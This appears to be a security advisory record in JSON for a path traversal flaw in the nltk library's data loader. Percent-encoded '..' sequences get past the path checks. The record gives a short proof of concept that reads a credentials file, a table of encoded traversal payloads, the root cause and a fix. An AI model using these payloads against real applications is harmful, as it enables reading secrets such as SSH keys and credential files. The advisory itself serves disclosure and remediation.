{"id":"GHSA-m42h-3232-vpv3","summary":"nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences","details":"# Summary\nnltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.\n\n# Vulnerable Code\nnltk/data.py - find() function:\n url2pathname() decodes %2e%2e -\u003e .. AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n    return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n'\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name)  # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().","aliases":["CVE-2026-12243","PYSEC-2026-597"],"modified":"2026-08-13T21:11:11.347269142Z","published":"2026-08-13T20:45:05Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-13T20:45:05Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12243"},{"type":"WEB","url":"https://github.com/nltk/nltk/issues/3504"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3522"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1"},{"type":"WEB","url":"https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m42h-3232-vpv3/GHSA-m42h-3232-vpv3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}